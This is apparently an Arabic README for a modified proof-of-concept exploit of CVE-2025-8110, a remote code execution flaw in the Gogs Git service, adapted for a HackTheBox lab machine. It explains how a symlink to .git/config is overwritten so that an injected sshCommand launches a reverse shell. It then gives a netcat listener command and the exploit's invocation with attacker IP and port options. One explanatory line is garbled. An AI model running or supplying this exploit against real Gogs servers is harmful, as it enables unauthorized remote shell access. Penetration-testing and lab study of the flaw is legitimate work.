
استغلال خدمة Gogs والحصول على مستخدم root
إخلاء مسؤولية: صُمّمت هذه الأداة حصريًا للأغراض التعليمية واختبار الاختراق المصرّح به. استخدمها فقط ضد الأنظمة التي لديك إذن صريح لاختبارها.
هذه نسخة معدّلة من zAbuQasem/gogs-CVE-2025-8110، تم تكييفها للعمل ضد جهاز Silentium على HackTheBox. تطلّب الـ PoC الأصلي تعديلات للتعامل مع إعدادات Gogs الخاصة بجهاز Silentium وسير المصادقة الخاص به.
CVE-2025-8110 هي ثغرة تنفيذ برمجيات عن بُعد (Remote Code Execution) في Gogs، وهي خدمة Git مستضافة ذاتيًا.
لا تتحقق نقطة نهاية واجهة برمجة التطبيقات (API) الخاصة بتحديث الملفات في Gogs (PUT /api/v1/repos/.../contents/<file>) من كون الملف الهدف رابطًا رمزيًا (symlink). يمكن لمهاجم موثّق دفع رابط رمزي إلى مستودع يشير إلى .git/config، ثم استخدام الواجهة البرمجية لاستبداله بحمولة خبيثة. تحقن الحمولة أمر sshCommand مخصصًا في إعدادات git، وينفّذه Gogs من جهة الخادم في المرة التالية التي ينفّذ فيها عملية SSH على ذلك المستودع، مما يؤدي إلى تنفيذ برمجيات عن بُعد.
malicious_link -> .git/config)، ويدفعه إلى المستودع..git/config خبيث يحتوي على sshCommand = <reverse shell>..git/config الخاص به، مما يؤدي إلى تشغيل الصدفة عند عملية SSH التالية.تثبيت المتطلبات:
pip install -r requirements.txt
تشغيل مستمع:
nc -lvnp <PORT>
تشغيل الاستغلال:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
اختياري — التوجيه عبر Burp Suite:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| الخيار | الوصف |
|---|
-u | عنوان Gogs الأساسي |
-lh | عنوان IP الخاص بك كمهاجم (مضيف الصدفة العكسية) |
-lp | منفذ المستمع لديك |
-un | اسم المستخدم المسجّل لديك في Gogs |
-pw | كلمة مرور Gogs الخاصة بك |
-x | (اختياري) توجيه الحركة عبر Burp على localhost:8080 |